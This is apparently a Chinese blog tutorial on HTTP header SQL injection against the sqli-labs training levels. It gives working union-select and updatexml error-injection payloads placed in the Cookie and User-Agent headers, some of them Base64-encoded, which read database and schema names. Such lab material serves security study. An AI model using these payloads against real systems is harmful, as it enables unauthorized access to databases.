HTTP 头部注入

HTTP 头部注入

Cookie 注入

以sqli-labs-20关为例,利用Cookie 注入获取数据库信息

1.发送到重发器

首先输入用户名Dumb与密码Dumb登录

登录之后,刷新页面进行抓包,然后发送到重发器

image-20230824203432753

在重发器中判断注入类型,经过多次尝试,可以确定注入类型是字符型,并且是单引号。如果不知道如何判断注入类型的小伙伴,可以看我的这篇文章::MySQL注入类型的判断方法与原理解析(演示sql语句执行命令)

2.判断字段数

确定注入类型之后,而且页面有回显,所以可以使用联合注入,可以参考我的这篇文章:MySQL之联合注入

在cookie处输入:

Cookie: uname=Dumb' and 1=2 union select 1,2,3#

image-20230824204408651

可以发现回显点在2和3位置

3.获取数据库信息
Cookie: uname=Dumb' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata#

image-20230824204505696

后面的获取字段信息也是一样的道理,如果想要继续查看表信息,字段信息,详细的数据信息,可以参考我的这篇文章:MySQL之联合注入

base64 注入

以sqli-labs-22关为例,利用base64 注入获取数据库信息

发送到重发器

首先输入用户名Dumb与密码Dumb登录

登录之后,刷新页面进行抓包,然后发送到重发器

image-20230824205319394

编码解码流程

发现Cookie中的值是url编码,所以需要放到Decoder模块进行解码,解码之后发现是Base64,就需要再Base64解码,得到正常值之后开始尝试sql注入,然后将注入语句进行Base64编码,放入Cookie值中即可。

image-20230824205223874

sql注入

1.判断注入类型

经过以下sql语句进行base64编码,然后通过回显来判断

Dumb and 1=1#
Dumb' and 1=2#
Dumb' and 1=1#
Dumb' and 1=2#
Dumb" and 1=1#
Dumb" and 1=2#

最后可以判断出注入类型是双引号的字符型,如果不知道如何判断注入类型的小伙伴,可以看我的这篇文章::MySQL注入类型的判断方法与原理解析(演示sql语句执行命令)

2.判断字段数

确定注入类型之后,而且页面有回显,所以可以使用联合注入,可以参考我的这篇文章:MySQL之联合注入

在cookie处输入:

Cookie: uname=RHVtYiIgb3JkZXIgYnkgNCM=

image-20230824211016974

可以推算出字段数只有3个

3.判断回显位置

Dumb" and 1=2 union select 1,2,3#进行Base64编码,然后填入Cookie如下:

Cookie: uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMj

image-20230824211327529

可以判断出,在第2和第3个位置有回显。

4.通过联合注入获取当前数据库信息

Dumb" and 1=2 union select 1,2,database()#进行Base64编码,然后填入Cookie如下:

RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

image-20230824211539946

可以看到,成功获取到当前数据库信息

所以这个base64注入其实和普通注入方式是一样的,无非就是多了个编码解码的步骤。

普通注入方式可以看我的这篇文章:MySQL之联合注入

User-Agent 注入

以sqli-labs-18关为例,利用User-Agent注入获取数据库信息

注意:这关和普通的报错注入也是差不多的,就是需要抓包,而且注入点是发生在UserAgent,并且闭合的时候使用 #或者 --+是无效的,需要使用右闭合的方式,将原来的sql中的右边的引号闭合,从而达到本身语句不报错的目的,然后借助updatexml函数让sql语句报错,从而达到报错注入的目的

随便输入用户名密码,点击提交,然后用BP抓包发送到重发器

image-20230824213849109

经过对UserAgent的测试,发现有不同的回显,经过单引号测试之后,没有数据回显,但是会报错,说明是单引号的字符型注入,所以考虑使用报错注入,修改UA头为:

User-Agent: yuanboss' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1' = '1

image-20230824213823404

可以发现查找到了数据库

这里需要注意的是,我使用 #或者--+注释后面的sql是无效的,所以采用右边闭合的方式,将后面的'闭合,也可以达到目的。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值